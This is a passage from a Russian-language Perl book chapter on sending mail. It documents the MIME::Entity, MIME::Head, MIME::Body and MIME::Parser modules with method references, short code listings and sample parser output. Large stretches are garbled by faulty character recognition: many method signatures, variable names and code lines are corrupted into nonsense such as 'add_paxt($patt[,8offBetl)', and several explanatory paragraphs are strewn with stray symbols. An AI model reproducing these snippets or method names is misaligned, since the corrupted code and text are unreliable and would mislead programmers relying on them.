верхнего уровня текстовые данные внедряются в наращиваемое многокомпонентное сообщение
с указанием параметра Туре, равного text/plain, параметра Encoding, равного 7bit, и
текста сообщения в качестве параметра Data.
• Строки 19-23. Присоединение звукового файла. Снова вызывается метод attach (), но на
этот раз параметр Туре имеет значение audio/wav, а параметр Encoding равен base64.
Весь этот звуковой файл не должен быть считан в оперативную память, поэтому применяется
параметр Path, который указывает объекту mime: :Entity на файл, где находятся звуковые
данные. Параметр Description включает в исходящее сообщение описание этого
присоединенного файла, предназначенное для восприятия человеком.
• Строки 24,25. Подписание сообщения. Вызывается метод sign() объекта MIME верхнего
уровня для добавления файла подписи пользователя к тексту сообщения.
• Строки 26,27. Отправка сообщения. Вызывается метод send О для форматирования и
отправки по почте законченного сообщения с использованием метода smtp.
На этом вся работа заканчивается. В следующих разделах модули MIME
рассматриваются более подробно.
MIME::Entity
MIME: : Entity — это подкласс класса Mail: : Internet и, подобно этому классу,
представляет все сообщение электронной почты. Однако между объектами Mail: : Internet
и MIME:: Entity есть некоторые важные различия. Тогда как объект Mail:: Internet
содержит только единственный заголовок и тело, тело объекта MIME: : Entity может
состоять из множества частей, а каждая из этих частей может состоять из подчастей. Каждая
часть и подчасть сама представляет собой объект MIME: : Entity (рис. 7.1). В связи с
этими различиями в модуле MIME: :Entity добавлено несколько методов для манипуляции
телом сообщения в объектно-ориентированном стиле.
В следующем кратком обзоре не рассматриваются некоторые редко используемые
методы. Полное описание приведено в документации POD модуля MIME: : Entity.
Основным конструктором объекта MIME: : Entity является build ().
Sentity =/MIME;:Entit^'->build(argl=>SvallJarg2=>SvS12,.b.) *'Ц
Метод-build О —: основной ^конструктор объекта mi;me\: Entity... Он принимает ряд ключевых:
параметров и возвращает иницйализир6ваннЬ1Йрбъект=М1МЕ:;: Entity. ' J
Метод build () принимает большое число параметров. Ниже перечислены
наиболее часто применяемые из них.
■ Имя поля. В качестве параметров могут применяться любые имена полей,
предусмотренные спецификациями RFC 822 или MIME; представленные значения
будут внесены в заголовок сообщения. Как и при использовании модуля
Mail: :Header, для передачи в качестве параметра многозначных полей можно
Глава 7. Протокол отправки почты SMTP 201
задавать ссылку на массив. Вероятно, следует ограничиться использованием
полей RFC 822, таких как From: и То:, поскольку поля MIME, заданные
пользователем, перекрывают поля, автоматически генерируемые модулем MIME: : Entity.
Data. Этот параметр применяется только для однокомпонентных объектов
MIME::Entity и обозначает данные, предназначенные для использования
в качестве тела сообщения. Он может представлять собой скаляр или ссылку на
массив, содержащий строки, которые будут соединены конструктором для
формирования тела сообщения.
Path. Данный параметр применяется только к однокомпонентным объектам
MIME: :Entity и обозначает путь к файлу, где находятся данные,
составляющие тело сообщений. Этот параметр может использоваться для присоединения
к исходящему сообщению файла, превышающего объем оперативной памяти.
Объект MIME
верхнего уровня
Заголовоксообщения *
Тело сообщения
:
Заголовок сообщения
Тело сообщения
Заголовоксообщения
Тело сообщения
Заголовок сообщения
Тело сообщения
.
-
Заголовоксообщения
Тело сообщения
Заголовок сообщения
Тело сообщения
Заголовок сообщения
Тело сообщения
.
-
Заголовок сообщения
Та
то сообщения
Заголовок сообщения
Тело с
ообщения
Заголовок сообщения
Тело сообщения
:
Рис. 7.1. Сообщения MIME может содержать бесконечное число
вложенных частей
202
Часть П. Разработка клиентов для основных служб
■ Boundary. Граничная строка, которая должна размещаться между частями
многокомпонентного сообщения. Модуль MIME: :Entity автоматически
выбирает по умолчанию вполне приемлемое значение; обычно этот параметр не
следует использовать в программе.
■ Description. Предназначенное для восприятия человеком описание тела
сообщения, применяемое в качестве значения поля Content-Description:.
■ Disposition. Этот параметр становится значением поля заголовка Content-
Disposition:. Он может иметь значение attachment или inline и
устанавливается по умолчанию равным inline, если параметр неуказан.
■ Encoding. Этот параметр является значением поля заголовка Content-
Encoding:. Должно быть указано одно из значений: 7bit, 8bit, binary,
quoted-printable или base64. Всегда включайте этот параметр, даже при
отправке простого текстового сообщения, поскольку в ином случае модуль
MIME:: Entity применяет значение по умолчанию — binary. Может быть
также указано специальное значение -SUGGEST, которое позволяет модулю
MIME: :Entity автоматически выбрать кодировку, выполнив побайтовую
проверку всего тела сообщения.
■ Filename. Рекомендуемое имя файла для программы чтения почты, которое
должно использоваться программой чтения почты при записи данного
компонента на диск. Если этот параметр не указан, рекомендуемое имя файла будет
сформировано на основе значения параметра Path.
■ Туре. Тип MIME объекта, который по умолчанию равен text /plain. Модуль
MIME::Entity не предпринимает попыток автоматически определить тип
MIME, исходя из имени файла, указанного параметром Path, или из
содержимого параметра Data.
Ниже показана общая схема создания однокомпонентного объекта (который
в дальнейшем может быть включен в многокомпонентный объект).
$part = MIME::Entity->build(To => * jdoeGacme.org',
Type => 'image/jpeg',
Encoding => ■base64'.
Path => '/tmp/pictures/oranges.jpg *);
А здесь показана общая схема создания многокомпонентного объекта, к которому
будут добавляться подчасти.
$multipart = MIME::Entity->build(To => 'jdoe@acme.org'.
Type => 'multipart/mixed');
Обратите внимание, что однокомпонентные объекты должны иметь тело
сообщения, указанное с использованием параметра Data или Path, а на многокомпонентные
объекты это требование не распространяется.
Сразу после создания объекта MIME: :Entity в него можно включать новые
компоненты с использованием метода add_part () или attach ().
Spart » $entitY->add_paxt($patt[,8offBetl)
Метод vld p*rt() включает подчасть в объект mime: :Entity, указанный параметром
$entity. Параметр $part дслжен обозначать сбъект HIME:_: Entity. Каждый мн токомпонентный
объектмгмЕ.;: Entity содержит массив ссоих педчастей. и по умолчанию/йзеая часть Добавляется
к концу текуЩьгс, ыассиёэ Можно изменить'это правиле'поведения с помощью параметре $of fsct.
Merry; возвращает внееъ дсбазленнуй часть.
Глава 7. Протокол отправки почты SMTP
203
j: вТ1ри попытке добавить часть к однокомпонентному объекту модуМь ыШе': :Entity выполняет
| "автомагическре* (автоматическре, но не обусловленное синтаксической структурой)
преобразование объекта в тип jhultipart/mixed, и первоначальное информационное наполнение снова при-
Гсоединяется как подчасть. После этого Добавляемый объект становится второй подчастью в списке.
(тЭто средство позволяет начать работу с составленижоднокомпонентного сообщения, щ затем вво-
;"дить дополнения, не начиная все сначала. ■-„ ,.-v£ °
f Spart = Serit±ty->attach(argli=^$vall,arg2^>$val2, ) ,,
Метод attach.O представляет собой вспомогательную функцию, которая вначале создает но-
;~вый объект mimet:Entity с использованием конструктора buildц,.в затем вызывает метод
Sentity->add_part {) для вставки в сообщение вновь созданной части! Параметры этого метода
аналогичны применяемым в методе build (). В случае .успеха этот метод возвращает новый объект^
MIME: .Entity. ' -""
Для доступа к содержимому объекта может применяться несколько методов.
( :,..—— •■»— ■ ц; ^S4-jT4l" —йЗЭя.*б5й* *Ш ■ » - »~,'«я ——,
Г $head = $entity->head([$ne*.head] ) !s '■ .„. , ,.'
|,. Метод head Q возвращает объект,М1МЕ::Head, связанный с данным объектом MIMEiiEntity.
; 'Затем можно вызывать методы полученного объекта заголовка для исследования и изменения со-
1 дёржимого его полей. Необязательный Параметр $newhead, если он указан, может применяться для
: замены объекта заголовка другим объектом mime : :B#ad. ife»
р5 $body = $entity->bodyhandle,([$newbody]) ^
W Метод bpdyhandleo получает.илиустанавливает^объект mime: :Body, связанный, с данным
ГрбъЧлпгм MiSME:: Entity.! Затем этот объект можно .использовать для выборки или изменения рас-.
[ кодироганного информационного: наполнения тела сообщения. Необязательный параметр'
Snewbody может применяться для замены тела сообщения другим объектом mime-: s Body. Этот ме-;
тод не следует лутать с методом body.О, который возвращает ссылку на массив, содержащий
текстовое представление закодиг-оеенного тела сообщения:
Если объект является многокомпонентным, то он не должен иметь тела, и в этом случае метод
:bodyhandie<) возвращает значение undef Прежде чем предпринять попытку выбрать тело сооб- '
щения, можно применить метод Mjmultipart () для проверки такой возможности. J
$pseudohandle m $entity->open($mode) '■ ,-.■*-
?,.. Метод ореп{) открывает тело объекта mime;'Entity для чтения Или записи и возвращает :
псевдодескриптор MIME. Как рассмотрено далее в разделе с описанием класса mime: :Body,..леев-^
додескрипторы MIME имеют методы объектов, аналогичные предусмотренным в классе
До: :Handle (например, readq, getline () и print О), но они не являются дескрипторами в пол-ч
IThom смысле этого слова. Псевдрдескригщор может применяться для выборки или изменения ,е6дер- .
Ьжимого тела объекта mime:: Entity, .;;?,•- „-- ч ■,,*, »j
Параметр $mode может иметь одно.из значений""г" или "w", которые, соответственно, обознача- .
ют.доступ для чтения или записи. ;, ;| й
@parts = $eritity->parts ^ Щ
j Spart = §entity->parts<Siridex) i
i Bparts = $entity->parts (\Gparts) -,, |
\ Метод part${) возаращает список частей mime:;Entity многокомпонентного объекта J
f =miME: : Entity. При вызове без Параметров этот метод возвращает весь список частей; при вызове
|:с целочисленным параметром $index*—указанную часть. Если этому Методу передана ссыпка на ,
| массив частей, он заменяет текущие части содержимым массива. Это позволяет удалять части или ;
i изменять порядок их расположения. Например, в следующем фрагменте кода показано, как изме-J
•• нить порядок расположения частей объекта mime :: ЕпЫЬутна противоположный. - 1
|Г $entity->parts([reverse $entS.ty->parts]) "'""' ^
Г Если объект mime: sEntity не* является многокомпонентным, метод ;parts {) возвращает пус- \
' ТОЙ СПИСОК., ' ■'$"'■•: ,. ... ,.. ... J
Для получения информации об объекте MIME: :Entity может применяться ряд
методов.
204
Часть П. Разработка клиентов для основных служб
I $typei= $entity->mime_type .- "J
t' $type = $entity->e:f£ective_type щ
• Для получения информации о типе MIME тела объекта mime? ;Entity могут применяться мето- ,
[. ды inijne'type () и ef f ective_type () „ Хотя оба метода обычно возвращают однб и то же значе- *]
ниё, в некоторых нестандартных условиях модуль MIME: sparser не может декодировать объект |
и поэтому не имеет возможности вернуть тело этого объекта в его: исходной форме. В этом случае {
метод mime_type () возвращает предполагаемый тип тела объекта, a ef f ective_type,() —.тип, 1
который был бы фактически получен при выборке или сохранении данных тела объекта (вероятнее j
всего, vappiication/octet-stream). Надёжнее всжго при выборке тела объекта, созданного С по- }
' мощью модуля MIME:sParser, ислспьзовать метод'6f"fectiv^_type (Т. При работе С &С*>окта*1Й.
^ созданными в самом сценарии с га,мои*>ю метэда mime; :Entity->buii:i(), указанные'методы
возвращают одинаковый результат.
В- Sboolean = $entifcy->isf_niultipart
1 Метод;isjMiltipart^)"■?— зтс .вспомогательная процедура, которая Еоэвращаот истинное
| значение, если объект mime:,: Entity вляется многокомпонентным, и ложнее, если ин содержит
| 'только одну чзегн.
j- $entity->eign (argl->^vnll,*rg2->$val2, )
|*v Метод sign () присоединяет к сообщению подпись. Если сообщение оодероюггнеагшыю-частей
модул mime ;: Enii t у выполняет псисх первого такстоеого компонента и присоединяет к нему подпись.
Этот метод HUMhiro удобнее по сравнению с версией, реализованное 8 модуле
Mail:: internet, однако и он требует предрстагить хотя бы один неСор кпючесых параметров
К'числу этих параметров относятся следующие
• File. Этот параметр позволяет использовать текст подписи, содержащийся в файле. Его
значением должен быть путь к локальному файлу.
• signature. Обеспечивает использование в качестве подписи указанного текста. Значением
этого параметра может быть скаляр или ссылка на массив строк.
• Force. Этот параметр обеспечивает присоединение электронной подписи к объекту, даже
если его содержимое не относится к типу text/*. Его значение рассматривается как логическое.
• Remove. Вызывает метод removesigO дпя поиска существующей подписи и удаления ее
перед добавпением новой подписи. Значение этого параметра передается методу
remove_sig (). Для полной отмены удаления подписи должно быть задано значение 0
этого параметра.
Ниже показан пример того, как добавить подпись с использованием скалярного значения. Л
$entity->sign(Signature => "That's sail folks!"); I
J$enfcity->remove_sig([$nlines]) q ^ щ
Метод remove_sig() просматривает последние -$nlines^ строк тела сообщения для поиска I
строки, состоящей из символов"—- Эта строка и все. что находится под ней, удаляется. Параметр
Snlirtes' по умолчанию установлен равным 1G.
$entity->dump_b)coloton ( (FIXEHANULE] )
Метод c?ump_sK6icton') представляет егбой утилиту, применяемую дли ^гладки. Он выводит
текстовое'представление структуры объекта мХМЕ: :pntityin егоподчаствй,в указанный
дескриптор файла;iscnn деекгиптгр файля не указан, на стандартное устрсйстнг«ывода.
И наконец, предусмотрено несколько методов для экспорта объекта
MIME: : Entity в виде текста и отправки его по Почте.
Sentlty-^rint CIFXTJIHANDLE] ) "
Santlty->print_heaJ«r([FILEHANTXE])
Sen lty->print_bodytIrtLEHA»niJE]I
Глава 7. Протокол отправки почты SMTP
205
Эти три метода, унаследованные от модуля Mail:: Internet, выводят, ссотвётственнз, згке-
дированное текстовое представление всего сообщения, его загопоеок или толо. выводятся также
части многокомпонентного* объикта mime:: Entity. Если дескриптор-файла не указан, происходит
Еыесд на устройство stdout
SArrayrof = $entity->header
Мотод header (). который унаследован ст модуля Mail: :intern«t. возвращает текстовое
представление заголовка в виде ссылки на массип строк. Этот метод не следует путать с методом
he^df). который возвращает объект mime : :Нсза.
gnrrnyrttf - $ontity->body
Этот метод, который yHqcflcsoeaM от модуля Mail::Internet, еозегащает тело сообщения
в аидб ссылки на массив стрск. етрежи заход" - вяньгз форме, лрисоднгй для мх передачи
обработчику почты. Этот метод не дледуехпутать с методом boiyh^ndlto (описанным ниже), который
возвращает объект mime: - birty.
$atxing - $entity->ae_«txiny
$ajtring " $enti.ty->etxingifyJbody
$string - Sentity->stringify_beader
Метод as strinj () преобразует сообщение в строку, кодируя любые части, которые этого
требуют Методы strinjify_r>.dy(> и stnnjify_hea,1er о, соответственно; оперируют только
толем и загс ловком-сообщения.
Jresult - 8entity->send([$method])
Метод scndO. который унаслед ван от модуля м-.il:: internet, сторавляет сообщение с ис-
лэдьээвайием выбранного метода отправки. Автор заметил, что в> некоторых, версиях программы
rortil UNIX, возникают проблемы с заголовками MIME, поэтому лучше всего яьнс устаносить
значение параметра Sraetb-i! равным "scn^mail" или "smtp"
$entity->purge
Если объект MIME::Entity пелучен-с помощью модуля MIME:: tarsec, то вполне вероятно, что тело
этого объекта или одна из его подчастей хранится во временном файле на диске. После окончания работы
с объектом необходимо вызывать-метод pur^eo для удаления этих временных файлов и освобождения
'искового п _!• нсгва. Этого не дсхссЧггеавтэматически при уничтожении объекта.
MIME::Head
Класс MIME:: Head содержит информацию о заголовке объекта MIME. Объект
данного класса возвращает метод head () объекта MIME:: Entity.
MIME: : Head — это класс модуля Mail:: Header, и он наследует от него
большинство своих методов. Такая странная ситуация, когда один модуль называется "Head",
а другой— "Header", возникла исторически. В модуле MIME: :Head к методам модуля
Mail::Header было добавлено несколько вспомогательных методов; наиболее
полезными из них являются read () и f rom_f ile ().
$head - M1MH: :Hoad->read(rtLEHAHniJB>
Кроме создания объекта MIME: :He?d вручную путем вызова метода add О для каждого поля
заголовка, можно создать полностью инициализированный заголовок из открытого дескриптора файла,
еыэваа метод rtadO. Данный метод дополняет метод reido модуля м=11: :He.«der. который
позволяет считывать файл только в ранее созданный объект.
Shead « M1MR::Head->£rom^file<$file)
Конструктор fr^-ш file <> создаетобъект mime-. .Head из указанного файла, открывая его и
передавал полученный дескриптор файла методу rta.1 ().
Все иные функции ведут себя так же, как и в модуле Mail: : Header. Например,
ниже показан один способ выборки и изменения строки темы в объекте
MIME::Entity.
206
Часть II. Разработка клиентов для основных служб
I
$old_subject = $entity->head->get('Subject');
$new_subject = "Re: $old_subject";
$entity->head->replace(Subject => $new_subject);
Как и в модуле Mail: :Header, метод MIME: :Head->get () также возвращает
полученные значения полей с символами конца строки.
MIME::Body
Класс MIME: :Body содержит информацию о теле объекта MIME::Entity. Объекты
MIME:: Body могут извлекаться с помощью метода bodyhandle () объекта MIME: : Entity
и создаваться по мере необходимости с помощью методов build () и attach () объекта
MIME:: Entity. В сценарии приходится использовать объекты MIME:: Body при
интерпретации входящих сообщений, закодированных в формате MIME.
Поскольку данные, закодированные в формате MIME, могут иметь весьма
значительный объем, важным свойством объекта MIME:: Body является его способность
хранить эти данные на диске или в оперативной памяти (в документации
MIME: :Tools последний способ хранения так и называется: "in core"— в
оперативной памяти). Методы, предусмотренные в модуле MIME: :Body, позволяют управлять
тем, где должны храниться данные тела объекта, как должно происходить их чтение
и запись и как должны создаваться новые объекты MIME: : Body.
Класс MIME:: Body имеет три подкласса, специализированные для хранения
данных различным образом.
■ MIME:: Body:: File. Этот подкласс обеспечивает хранение данных тела
объекта в файле на диске. Данный способ хранения может применяться для больших
двоичных объектов, которые не помещаются в оперативной памяти.
■ MIME::Body::Scalar. Этот подкласс обеспечивает хранение данных тела
объекта в скалярной переменной в оперативной памяти. Такой способ
хранения может применяться к небольшим фрагментам данных, таким как текстовая
часть сообщения электронной почты.
■ MIME: :Body:: InCore. Данный подкласс обеспечивает хранение данных тела
объекта в ссылке на массив, хранящийся в оперативной памяти. Этот способ
хранения может применяться к текстам большого объема, для которых должны
неоднократно выполняться операции чтения или записи.
Обычно модулем MIME: : Parser создаются объекты MIME: :Body:: File для
хранения данных тела объекта на диске в процессе их интерпретации.
Jbody - M3№: : Body: :Filo->new( Spath)
Для создания нового объекта mime: :'-);-iy, хранящего данные а файле, нужно вызвать метод
mime:: ivitfy:: File->naw (), указав путь к файлу. Файл может отсутствовать ня диске и будет
создан при открытии тела объекта для записи.
Sbody m шмж: :Body: :Scalar->neM(\4at£'lng)
Метод mime,; : гзойу:: sc«lar->ncw () аоззращает объект тела сообщения, который хранит
данные а ссылке на Скаляр.
ftbody - МЗДЕ: :Bcrfy: :XnCcre->nei»($Btri(vg)
Jbody - ICMI: :Bcdy: :XnCoro->I)eM(\9atzlng)
8body « МЮТ: :Cody: :.InCcre->ncw(\£atrin£)
Класс mime: :Body:: InCore имеет самый гибкий конструктор В1 нем предусмотрено хранение
данных а ссылке на массив, но онмсжет быть инициализирован из-скаляра, ссылки на скаляр или
ссылки на массио.
Глава 7. Протокол отправки почты SMTP
207
После получения объекта MIME: : Body можно обеспечить доступ к содержимому,
открыв его с помощью метода open ().
Spojudctvuvjlw ~ Sbocty.->open ($mode)
Этот метод принимает единственный параметр, который указывает, должна ли тило
сс<общения быть открыто для чтения ("г") или записи ("и"). Тюзеращеннуй объект представляет ссСг-й
7)с^вд дескриптор, который реализует метЗды reido.. j.fint<) и. ;«=tiini() модуля
10":: Han'lle "ТдНако это—не няспящйи дескриптор файла, поэтому нер..-хэди1§2 следить за
тем, чтобы возвращенный псевДсдескриптор не был случайно передан одной из встроенных
процедур; такихлсгкШ или rtadt).
В следующем фрагменте кода показано, как прочитать содержимое большого
объекта MIME:: Body, хранящегося в объекте MIME: : Entity, и вывести его на
устройство STD0UT- Информационное наполнение, полученное таким образом, представлено
в своем исходном виде и не содержит какой-либо кодировки MIME.
$body = $entity->body_handle or die "no body";
$handle = $body->open(,,r");
print $data while $handle->read($data,1024);
Для чтения строковых данных вместо этого метода должен применяться метод
getline ().
Еще один фрагмент кода показывает, как записать содержимое объекта
MIME: : Body с использованием его метода print (). Если данные тела объекта
хранятся в файле, данные записываются в этот файл. В ином случае они записываются
в структуру данных, находящуюся в оперативной памяти.
$body = $entity->body_handle or die "no body";
$handle = $body->open(V);
$handle->print($_) while <>;
В модуле MIME: : Body предусмотрен ряд вспомогательных методов.
_ „_р „__ -Z&U& ~— .,.„,- 1|1;Ц,;, ,. ■r—HJKHff -^^^.VK _ -_^„^?ВТТ:—
е lines '= ,$body->as_lines j
| $stringj* Sixx3y->ssSjstxis>g |
f Mereflu^asljUnes ф и as^stringt) представляют сойй вспомогательные функции, которые
f-возвращают;вс» информационное наполнение тела объекта: в одной операции. Метод as^liries:(b.
| открывает тело объекта и повторно вызывает метод getline О, возвращая массив строк с еймво-
' пэ^и конца{строки. Метод as^sbrirfg{i:считывает все тело объекта а скаляр?Вызов обоих ме о*В
может привести к считыванию а память большего сбъемд данных, тюэтйму при их вызове
необходимо соблюдать осторожность.
$path - $fcody->path((Snewpath])
Если данные, тела объекта хранятся 8 файло. как при использовании модуля
MIKE: :l3ody:.:F£ly, метод p'atho везеращает.путь к этому файлу или устанавливает его, если
предусмотрен необязательный параметр $newpath Если данные хранятся а памяти, метод pith (>
возвращает значение undef.
$body*>print. ( [riLEHAtCL$] )
Метод т гir>t.() выводит раскодированное тело сообщения в указанный дескриптор файла
или, если сн не указан, — в; дескриптор файла, выбранный а настоящее ьремя с помощью
функции select Ж Данный*'метод не следует путать с методом printo, предусмотренным для
псеедедескриптороэ, рсзйращаемых методом среп(), который применяется для записи данных
в-объект тела сообщвния.
Метод pvjr'je () уничтожает файл, связанный*с объектом типа<сробщсния, если для временного хра-
нония данных применялся. фзйл'Этст.метед не. вшываеття астоОттичеохи п и уничтожении объегга.
208
Часть П. Разработка клиентов для основных служб
MIME::Parser
Последним важным компонентом пакета MIME:: Too Is является класс
MIME::Parser, который интерпретирует текстовое представление сообщения
MIME, преобразовывая его в различные компоненты. Этот класс достаточно прост
в использовании, но имеет большое число опций, которые управляют различными
аспектами его работы. Общее представление о том, как используется этот класс,
можно получить, рассмотрев небольшой пример, представленный в листинге 7.7.
Листинг 7.7. Применение модуля mime :: Pars г ^
0: #!/usr/local/bin/perl -w
1: # Файл: simple_parse.pl
2: use strict;
3: use MIME::Parser;
4: my $file = shift;
5: open F,$file or die "can't open $file: $!\n";
# Создать и настроить синтаксический анализатор
my $parser = MIME::Parser->new;
$parser->output_dir("/tmp");
9: # Интерпретировать файл
10: my $entity = $parser->parse (\*F) ;
11: print "From = ", $entity->head->get('From') ;
12: print "Subject = ",$entity->head->get('Subject') ;
13: print "MIME type = ", $entity->mime_type,"\n";
14: print "Parts = ",scalar $entity->partsf"\n";
15: for my $part ($entity->parts) {
16: print "\t",$part->irdme_type,"\t",
$part->bodyhandle->pathf"\n";
17: }
18: $entity->purge;
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка типа и загружен модуль
MIME:: Parser. Он вызывает все другие необходимые модули, включая Mime :: Entity.
• Строки 4,5. Открытие сообщения. Из командной строки извлекается имя файла,
содержащего сообщение, закодированное в формате MIME, и файл открывается. Дескриптор файла
будет передан синтаксическому анализатору mime: : Parser позднее.
• Строки 6-8. Создание и настройка синтаксического анализатора. Создается новый объект
синтаксического анализатора путем вызова метода mime: :Parser->new(). После этого
вызывается метод output_dir () вновь созданного объекта для указания каталога, в который
синтаксический анализатор запишет данные тела сообщения, состоящие из извлеченных вложений.
• Строки 9,10. Интерпретация файла. Методу parse () синтаксического анализатора
передается открытый дескриптор файла. Значение, возвращенное из этого метода, представляет
собой объект mime :: Entity, соответствующий верхнему уровню сообщения.
• Строки 11-14. Вывод информации об объекте верхнего уровня Для демонстрации того, что
сообщение было успешно интерпретировано, выполняется выборка и печать строк From: и Subj ect:
Глава 7. Протокол отправки почты SMTP
209
заголовка путем вызова в каждом из этих случаев метода head () объекта mime.- : Entity для
получения объекта mime: :Head. Затем выполняется вывод типа MIME всего сообщения и числа подчас-
тей, которое определено с помощью метода parts () объекта mime:: Entity.
• Строки 15-17. Вывод информации о частях объекта. Выполняется проход в цикле по всем
частям сообщения. В каждой части вызывается ее метод mime_type () для выборки типа
MIME и метод path () соответствующего объекта mime :: Body для получения имени файла,
который содержит данные.
• Строка 18. Заключительные действия. По окончании работы вызывается метод purge ()
для удаления всех файлов данных интерпретированного тела сообщения.
После обработки в этой программе сообщения MIME, хранящегося в файле
mime .test, был получен следующий результат.
% simple_parse.pl ~/mime.test
From = Lincoln Stein <lstein@cshl.org>
Subject = testing mime parser
MIME type = multipart/mixed
Parts = 5
text/plain /tmp/msg-1857-l.dat
audio/wav /tmp/assimilated.wav
image/jpeg /tmp/aw-2-19.jpg
audio/mpeg /tmp/NorthwestPassage.mp3
text/plain /tmp/msg-1857-2.dat
Это многокомпонентное сообщение содержит пять частей. Первая и последняя
части включают текстовые данные и соответствуют сопроводительному тексту и
подписи. Остальные части представляют собой вложения, состоящие из звукового файла
audio/wav, изображения JPEG и копии дорожки компакт-диска в формате МРЗ.
Более сложный пример синтаксического анализатора MIME:: Par ser приведен в главе
8, где описано создание клиентов протокола POP (Post Office Protocol — Почтовый
протокол). В этом примере запускаются внешние программы просмотра для вывода файла
изображения и воспроизведения звукового файла, представленных в виде вложений.
Поскольку файлы MIME могут быть очень большими, по умолчанию модуль
MIME:: Parser предусматривает запись интерпретированных частей MIME:: Body в виде
файлов с использованием класса MIME: :Body: :File. Размещением этих файлов можно
управлять с использованием методов output_dir() или output_under (). Метод
output_dir () сообщает модулю MIME:: Parser, что части должны храниться
непосредственно в указанном каталоге. Метод output_under (), с другой стороны, создает
двухуровневый каталог. Для каждого интерпретированного сообщения электронной почты
модуль MIME:: Par ser создает подкаталог под базовым каталогом, указанным параметром
output_under (), а затем записывает в него данные объекта MIME:: Body:: File.
И в том, и в ином случае все временные файлы очищаются после вызова метода
purge () объекта MIME:: Entity верхнего уровня. Однако можно сохранить
некоторые или все части. Для сохранения некоторых из них необходимо поэтапно пройти
по частям сообщения и вызвать избирательно метод purge () для тех частей,
которые не должны быть сохранены. После этого можно либо оставить неуничтоженные
части в том месте, где они находятся, либо переместить их для сохранности в другое
место файловой системы. Чтобы сохранить все интерпретированные части, не нужно
вообще вызывать метод purge ().
Процесс интерпретации является сложным, и метод parse () может аварийно
завершить работу, если встретит любое из множества исключений. Эти исключения
можно перехватить и попытаться выполнить восстановление после ошибок,
заключив вызов метода parse () в блок eval {}.
210
Часть П. Разработка клиентов для основных служб
$entity = eval { $parser->parse(\*F) };
warn $G if $G;
Ниже приведен небольшой список основных функций модуля MIME: : Parser,
начиная с конструктора.
Sparser - MIME::Parser->new
Метод newt) создает новый объект синтаксического анализатора с установками по ум?лчэниг.
Он ни принимает параметров.
Sdir » Sparseri->output_dir
8proviлив » Sparsor->outp4it_dir rtnewdir)
Метод cut{.ut_dir iy получает или устанавливаем выхсдной кяталсг для интергцоэтации. Это —
| тот каталог; в которомбудут (временно) храниться различные части и вложения интёрпретированно-
кго сообщения. » &. '
|| При вызове без параметров этот метод возвращает текущее значение выходного каталога. При
| его аызове с указанием пути к каталогу он устанавливает выходной каталог и* возвращает его
предыдущее значение. Применяемой по умолчанию установкой яшляится'".", текущий каталог.
9(2ar = Sparser->tjutput_under
Sparser->oi)tput:_urtder (gbasollr [, DirNano»>$4ir (, Purgo->$purgo ] 1)
Метод jutput_unJer () изменяет способ размещения файлов-г вместо временного файла
применяется двухуровневый каталог. Модуль mime': :; «гser создает подкаталог а указйНнйм
базовом кчталрге, а затем размещает ас гноаь ссэдэнном подкаталоге интврлрегироранные данные
MIME: i~xly: .-Pile.
— ■ - т— -
Кроме параметра $basedir, метод output_under () принимает два
необязательных ключевых параметра.
■ DirName. По умолчанию имя подкаталога формируется путем объединения
текущей отметки времени, идентификатора процесса и порядкового номера.
Если нужно создать более информативное имя каталога, можно явно указать имя
подкаталога с помощью параметра DirName.
■ Purge. Если при каждом выполнении программы используется подкаталог
с одним и тем же именем, то имеет смысл установить параметр Purge равным
истинному значению; в этом случае метод output_under () удаляет все, что
находится в этом подкаталоге, до начала интерпретации.
При вызове без параметров метод output_under () возвращает имя текущего
базового каталога Ниже приведено два примера.
# Сохранять вложения в подкаталоге ~/mime_enclosures
$parser->output_underf$ENV{HOME) /mime_enclosures");
# Сохранять вложения в подкаталоге "my_mime" каталога /tmp
$parser->output_under ("/tmp", DirName=>,my_mime*, Purge=>l) ;
Основными методами этого модуля являются parse (), parse_data ()
и parse_open().
Sentity - t£araer->parse(\*ri£KHMt:LE)
Метод parse О интерпретирует сообщение MIME, считывая его текст из огкрьггмг. дескриптора
файл?. Лрй успэщтм выполнении он»возогящаст объект MiHE::Entfty. В ином случае метод
parse () может активизировать любую из исключительных ситуаций времени выполнения.- Для пэро-
хвята исключений межно вложить вызов метода i агз* (у в блок eval (}, как былгЗ списано выше.
Sentity - }гагвег->р-*гв«_с1лЪл($<1»*л)
Глава 7. Протокол отправки почты SMTP
211
i - Метод parste_datk{l интерпретирует сообщение MIME, которое находится в памяти. Параметр
ISdata может лредставлять собой скаляр, содержащий текст сообщения, ссылку на скаляр или есыл-
.гку на массив скаляров. Последняя форма представления параметра предназначена для испольэо-
I вания с массивом строк сообщения и может быть, лц. im массивом, конкатенация которого создает':j
в результате текст сообщения; :В случае успешного выполнения метод parse_data(I возвращает J
объект mime ^.Entity. В ином случае он вырабатывает одну из множества исключительных ситуа- j
ций времени выполнения. ., т Д
... °ц
"■ $enfcity = $paxser->parse_open($file) s §j
Метод ppse_open() представляет собой вспомогательную, функцию. Он открывает указанный )
файл, а затем передает полученный дескриптор файла методу parse (). Вызов этого метода зкви- ,
валентен следующему фрагменту кода. Л
1 open (F,$file); Щ
Sentity .= $parser->parse(\*Fj ;
Поскольку в методе parse_open () применяется функция open () языка Perl, он
позволяет использовать обычные приемы работы с каналами.
$entity = $parser->parse_open("zcat ./mailbox.gг I");
В этом фрагменте кода выполняется распаковка содержимого почтового ящика
с помощью программы zcat и передача полученных результатов методу parse ().
Несколько других методов позволяют управлять ходом выполнения
синтаксического анализа.
j ' - '"■/• • —■ уул"—' '-*- ■g' — ■ -i=iST т-s 4. **•■» irgL*-*' ■,--> Ve'~' %*-Щ '_' ' у *"■«--'J
$flag - Spareerr>output_to_core "r • j" •-; •-■
$parser^>output_to_core ($f lag) i
Метод «jutput_to^core(;) определяет, буДет ли модуль mime: : Parser создавать файлы для. j
хранениядекодированных данных тела.частёйМ1МЕй: Entity, или предпринимает попытку держать^
эти данные в памяти. Если параметр!$£1ад имеет ложное значение (значение по умолчанию), то ин-1
ьТерпретированные части сохраняются в файлах на диске. Если параметр $f lag имеет истинное ;
значение, то модуль mime-.-.Parser сохраняет части; соответствующие телу компонента, в опера-1
тивной, памятив виде ^Объектов MIME ::Body:,i5npore.. -л .. Л,
Поскольку вложения могут быть весьма-большими по объему, при использовании такого способа \
хранения необходимо ерблкадать осторожность^При вызове б^злараметров этот метод возвращает |
текущую установку флажка. * к, I
Sflag ■= $parser->ignore_errors s.4 '.;1
$parser-V±gnore_errors ($f lag) ?!
Метод ignore_errprs () управляет тем, будет ли модуль MIME::Parser допускать некоторые i
